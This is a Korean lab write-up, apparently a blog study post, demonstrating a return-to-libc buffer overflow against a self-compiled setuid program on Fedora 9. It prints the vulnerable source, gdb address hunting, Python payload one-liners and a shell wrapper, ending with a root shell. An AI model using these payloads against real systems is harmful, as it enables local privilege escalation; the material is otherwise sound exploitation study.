문제 환경은 아래와 같습니다.
[byjjoon@ByJJoon RTL]$ cat /etc/redhat-release
Fedora release 9 (Sulphur)
[byjjoon@ByJJoon RTL]$ sysctl -a | grep random
-bash: sysctl: command not found
[byjjoon@ByJJoon RTL]$ /sbin/sysctl -a | grep random
error: permission denied on key 'kernel.cad_pid'
kernel.random.poolsize = 4096
kernel.random.entropy_avail = 606
kernel.random.read_wakeup_threshold = 64
kernel.random.write_wakeup_threshold = 128
kernel.random.boot_id = aa842921-f1e2-416e-8a72-240fa7054ae5
kernel.random.uuid = 0f6a6b7f-11ed-4ba4-8b27-94cfbe6b62bb
kernel.randomize_va_space = 2
[byjjoon@ByJJoon RTL]$ /sbin/sysctl -a | grep exec
error: permission denied on key 'kernel.cad_pid'
kernel.exec-shield = 1
kernel.sched_domain.cpu0.domain0.forkexec_idx = 0
kernel.sched_domain.cpu1.domain0.forkexec_idx = 0
[byjjoon@ByJJoon RTL]$
문제 소스는 이전 레드헷 9 환경에서 했던 코드와 같으며 컴파일 시 "-mpreferred-stack-boundary=2" 옵션을 사용하여 컴파일을 하였습니다.
int main(int argc, char *argv[])
{
char buffer[5];
strcpy(buffer, argv[1]);
return 0;
}
우선 system() 함수의 주소를 확인하도록 합니다.
[root@ByJJoon RTL]# ls -al vuln
-rwsrwsr-x 1 root root 4860 2010-06-19 04:33 vuln
[root@ByJJoon RTL]# exit
exit
[byjjoon@ByJJoon RTL]$ gdb -q vuln
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x80483d2
(gdb) r
Starting program: /home/byjjoon/RTL/vuln
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483d2 in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/x system
0x92b8d0 <system>: 0x890cec83
(gdb)
이제 "/bin/sh" 문자열의 주소를 확인합니다. 확인하는 방법은 system() 함수는 내부에 "/bin/sh" 문자열을 가지고 있으므로 아래 코드를 이용하여 확인할 수 있습니다.
#include<stdio.h>
#include<stdlib.h>
int main(){
char *ptr = 0x92b8d0; // system() 주소
while(1){
if( (strncmp(ptr,"/bin/sh",7))==0){
printf("%p : %s\n",ptr,ptr);
return 0;
}
ptr++;
}
return 0;
}
위 코드를 이용하여 "/bin/sh" 주소를 확인해보면 아래와 같습니다.
[byjjoon@ByJJoon RTL]$ gcc find_binsh.c
[byjjoon@ByJJoon RTL]$ ./a.out
Segmentation fault
[byjjoon@ByJJoon RTL]$ ./a.out
"/bin/sh" is at 0xa2b1bf
print /bin/sh
[byjjoon@ByJJoon RTL]$
이제 공격에 필요한 주소들을 모두 확인하였습니다. 그럼 RET 위치를 확인해 보도록 하겠습니다.
[byjjoon@ByJJoon RTL]$ gdb vuln
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: sub $0x10,%esp
0x080483ca <main+6>: mov 0xc(%ebp),%eax
0x080483cd <main+9>: add $0x4,%eax
0x080483d0 <main+12>: mov (%eax),%eax
0x080483d2 <main+14>: mov %eax,0x4(%esp)
0x080483d6 <main+18>: lea -0x5(%ebp),%eax
0x080483d9 <main+21>: mov %eax,(%esp)
0x080483dc <main+24>: call 0x80482f4 <strcpy@plt>
0x080483e1 <main+29>: mov $0x0,%eax
0x080483e6 <main+34>: leave
0x080483e7 <main+35>: ret
End of assembler dump.
(gdb) b *main+35
Breakpoint 1 at 0x80483e7
(gdb) r `python -c "print 'A'*10"`
Starting program: /home/byjjoon/RTL/vuln `python -c "print 'A'*10"`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483e7 in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/32wx $esp
0xbffff74c: 0x00900041 0x00000002 0xbffff7d4 0xbffff7e0
0xbffff75c: 0x008f0810 0x00000000 0x00000001 0x00000001
0xbffff76c: 0x00000000 0x00a57ff4 0x00000000 0x08048310
0xbffff77c: 0xbffff7a8 0x26781441 0xf8bd833f 0x00000000
0xbffff78c: 0x00000000 0x00000000 0x008e74e0 0x009094fd
0xbffff79c: 0x008effc0 0x00000002 0x08048310 0x00000000
0xbffff7ac: 0x08048331 0x080483c4 0x00000002 0xbffff7d4
0xbffff7bc: 0x08048400 0x080483f0 0x008e1dd0 0xbffff7cc
(gdb) r `python -c "print 'A'*13"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/byjjoon/RTL/vuln `python -c "print 'A'*13"`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483e7 in main ()
(gdb) x/32wx $esp
0xbffff74c: 0x41414141 0x00000000 0xbffff7d4 0xbffff7e0
0xbffff75c: 0x008f0810 0x00000000 0x00000001 0x00000001
0xbffff76c: 0x00000000 0x00a57ff4 0x00000000 0x08048310
0xbffff77c: 0xbffff7a8 0x6f83fc10 0xb1466b6e 0x00000000
0xbffff78c: 0x00000000 0x00000000 0x008e74e0 0x009094fd
0xbffff79c: 0x008effc0 0x00000002 0x08048310 0x00000000
0xbffff7ac: 0x08048331 0x080483c4 0x00000002 0xbffff7d4
0xbffff7bc: 0x08048400 0x080483f0 0x008e1dd0 0xbffff7cc
(gdb) q
The program is running. Exit anyway? (y or n) y
[byjjoon@ByJJoon RTL]$
13개 입력 시 모두 덮혔으므로 아래와 같이 구성될 수 있습니다.
[AAAAAAAAA] + [RET]
그럼 이제 공격을 해보도록 하겠습니다. 공격은 아래와 같은 구성으로 하도록 하겠습니다.
[AAAAAAAAA] + [system() 주소] + [JUNK] + [/bin/sh 주소]
[byjjoon@ByJJoon RTL]$ ./vu `python -c "print 'A'*9 + '\xd0\xb8\x92\x00' + 'BBBB' + '\xbf\xb1\xa2\x00'"`
Segmentation fault (core dumped)
[byjjoon@ByJJoon RTL]$ gdb vu core.1825
core.18252 core.18255
[byjjoon@ByJJoon RTL]$ gdb vu core.18255
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
(no debugging symbols found)
Core was generated by `./ln AAAAAAAAAи?BBBB¿±¢'.
Program terminated with signal 11, Segmentation fault.
[New process 18255]
#0 0x4292b8d0 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) bt
#0 0x4292b8d0 in ?? ()
#1 0xbf424242 in ?? ()
#2 0xbf00a2b1 in ?? ()
#3 0xbffff800 in ?? ()
#4 0x008f0810 in ?? ()
#5 0x00000000 in ?? ()
(gdb) x/32wx $esp
0xbffff770: 0xbf424242 0xbf00a2b1 0xbffff800 0x008f0810
0xbffff780: 0x00000000 0x00000001 0x00000001 0x00000000
0xbffff790: 0x00a57ff4 0x00000000 0x08048310 0xbffff7c8
0xbffff7a0: 0x183bcd75 0xc6fe1a0b 0x00000000 0x00000000
0xbffff7b0: 0x00000000 0x008e74e0 0x009094fd 0x008effc0
0xbffff7c0: 0x00000002 0x08048310 0x00000000 0x08048331
0xbffff7d0: 0x080483c4 0x00000002 0xbffff7f4 0x08048400
0xbffff7e0: 0x080483f0 0x008e1dd0 0xbffff7ec 0x00000000
(gdb) x/32wx $esp-10
0xbffff766: 0x41414141 0xb8d04141 0x42424292 0xa2b1bf42
0xbffff776: 0xf800bf00 0x0810bfff 0x0000008f 0x00010000
0xbffff786: 0x00010000 0x00000000 0x7ff40000 0x000000a5
0xbffff796: 0x83100000 0xf7c80804 0xcd75bfff 0x1a0b183b
0xbffff7a6: 0x0000c6fe 0x00000000 0x00000000 0x74e00000
0xbffff7b6: 0x94fd008e 0xffc00090 0x0002008e 0x83100000
0xbffff7c6: 0x00000804 0x83310000 0x83c40804 0x00020804
0xbffff7d6: 0xf7f40000 0x8400bfff 0x83f00804 0x1dd00804
(gdb)
공격이 성공되지 않아 확인을 해보니 입력한 \x00 가 정상적으로 입력되지 않았습니다. 그 이유는 argv로 입력을 받을 시 \x00는 입력을 하지 못한다고 하네요. 그래서 문제 소스를 조금 변경하여 해보도록 하겠습니다.
int main()
{
char buffer[5];
gets(buffer);
return 0;
}
기존 argv를 통해 입력받던 것을 gets 함수를 이용하여 입력받도록 수정하여 공격을 하도록 하겠습니다.
[root@ByJJoon RTL]# gcc -o vuln vuln.c -mpreferred-stack-boundary=2
/tmp/cc60gzkD.o: In function `main':
vuln.c:(.text+0xd): warning: the `gets' function is dangerous and should not be used.
[root@ByJJoon RTL]# chmod +s vuln
[root@ByJJoon RTL]# ls -al vuln
-rwsrwsr-x 1 root root 4810 2010-06-19 04:53 vuln
[root@ByJJoon RTL]#
위와 같은 옵션을 통해 컴파일 후 setuid를 걸어 줬습니다. 이제 공격을 해보도록 하겠습니다.
[byjjoon@ByJJoon RTL]$ (python -c "print 'A'*9 + '\xd0\xb8\x92\x00' + 'BBBB' + '\xbf\xb1\xa2\x00'"; cat) | ./vuln
id
uid=500(byjjoon) gid=500(byjjoon) groups=500(byjjoon)
^C
Segmentation fault
[byjjoon@ByJJoon RTL]$
쉘은 획득을 하였으나 권한을 못받아 오는걸 볼 수 있습니다. 하지만 이전 포스팅(RTL(Returning into libc) 스터디 - 1) 에서의 방법과 같이 공격을 하면 권한을 그대로 받아 올 수 있습니다.
먼저 shell.c 코드를 작성 후 심볼릭 링크를 걸 주소를 확인합니다.
[byjjoon@ByJJoon RTL]$ cat shell.c
int main()
{
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execl("/bin/bash", "sh", 0);
}
[byjjoon@ByJJoon RTL]$ gcc -o shell shell.c
shell.c: In function ‘main’:
shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’
[byjjoon@ByJJoon RTL]$ objdump --dynamic-reloc vuln
vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495e4 R_386_GLOB_DAT __gmon_start__
080495f4 R_386_JUMP_SLOT __gmon_start__
080495f8 R_386_JUMP_SLOT gets
080495fc R_386_JUMP_SLOT __libc_start_main
[byjjoon@ByJJoon RTL]$ gdb -q vuln
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x80483ba
(gdb) r
Starting program: /home/byjjoon/RTL/vuln
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483ba in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/32wx 0x080495f8
0x80495f8 <_GLOBAL_OFFSET_TABLE_+16>: 0x080482e6 0x009094f0 0x00000000 0x00000000
0x8049608 <dtor_idx.5701>: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049618: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049628: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049638: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049648: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049658: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049668: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/32wx 0x080495f8-16
0x80495e8 <_GLOBAL_OFFSET_TABLE_>: 0x0804951c 0x008f0658 0x008e74d0 0x080482d6
0x80495f8 <_GLOBAL_OFFSET_TABLE_+16>: 0x080482e6 0x009094f0 0x00000000 0x00000000
0x8049608 <dtor_idx.5701>: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049618: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049628: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049638: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049648: 0x00000000 0x00000000 0x00000000 0x00000000
0x8049658: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/32wx 0x0804951c
0x804951c <_DYNAMIC>: 0x00000001 0x00000010 0x0000000c 0x08048290
0x804952c <_DYNAMIC+16>: 0x0000000d 0x0804846c 0x6ffffef5 0x0804818c
0x804953c <_DYNAMIC+32>: 0x00000005 0x080481fc 0x00000006 0x080481ac
0x804954c <_DYNAMIC+48>: 0x0000000a 0x0000004a 0x0000000b 0x00000010
0x804955c <_DYNAMIC+64>: 0x00000015 0x008f0644 0x00000003 0x080495e8
0x804956c <_DYNAMIC+80>: 0x00000002 0x00000018 0x00000014 0x00000011
0x804957c <_DYNAMIC+96>: 0x00000017 0x08048278 0x00000011 0x08048270
0x804958c <_DYNAMIC+112>: 0x00000012 0x00000008 0x00000013 0x00000008
(gdb) q
The program is running. Exit anyway? (y or n) y
심볼릭링크를 주소를 확인했으니 이제 심볼릭 링크를 걸도록 하겠습니다.
[byjjoon@ByJJoon RTL]$ ln -s shell `python -c "print '\x01'"`
[byjjoon@ByJJoon RTL]$ ls -al
total 64
drwxrwxr-x 2 byjjoon byjjoon 12288 2010-06-26 00:17 .
drwx------ 16 byjjoon byjjoon 28672 2010-06-26 00:13 ..
lrwxrwxrwx 1 byjjoon byjjoon 5 2010-06-25 23:59 ? -> shell
-rwxrwxr-x 1 byjjoon byjjoon 5274 2010-06-26 00:13 shell
-rw-rw-r-- 1 byjjoon byjjoon 133 2010-06-26 00:13 shell.c
-rwsrwsr-x 1 root root 4810 2010-06-19 04:53 vuln
-rw-r--r-- 1 byjjoon byjjoon 73 2010-06-19 04:51 vuln.c
심볼릭링크를 걸었으니 이제 필요한 execl() 함수 주소를 확인 후 공격을 해보도록 하겠습니다.
[byjjoon@ByJJoon RTL]$ gdb vuln
GNU gdb Fedora (6.8-24.fc9)
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)
(gdb) b main
Breakpoint 1 at 0x80483ba
(gdb) r
Starting program: /home/byjjoon/RTL/vuln
(no debugging symbols found)
(no debugging symbols found)
Breakpoint 1, 0x080483ba in main ()
Missing separate debuginfos, use: debuginfo-install glibc.i686
(gdb) x/x execl
0x98dd20 <execl>: 0x53565755
(gdb) q
The program is running. Exit anyway? (y or n) y
[byjjoon@ByJJoon RTL]$ (python -c"print 'A'*9 + '\x20\xdd\x98\x00' + '\x1c\x95\x04\x08'*2"; cat) | ./vuln
id
uid=0(root) gid=0(root) groups=500(byjjoon)
q
sh: line 2: q: command not found
^C
[byjjoon@ByJJoon RTL]$
권한을 그대로 받아 오는것을 볼 수 있습니다... 🙂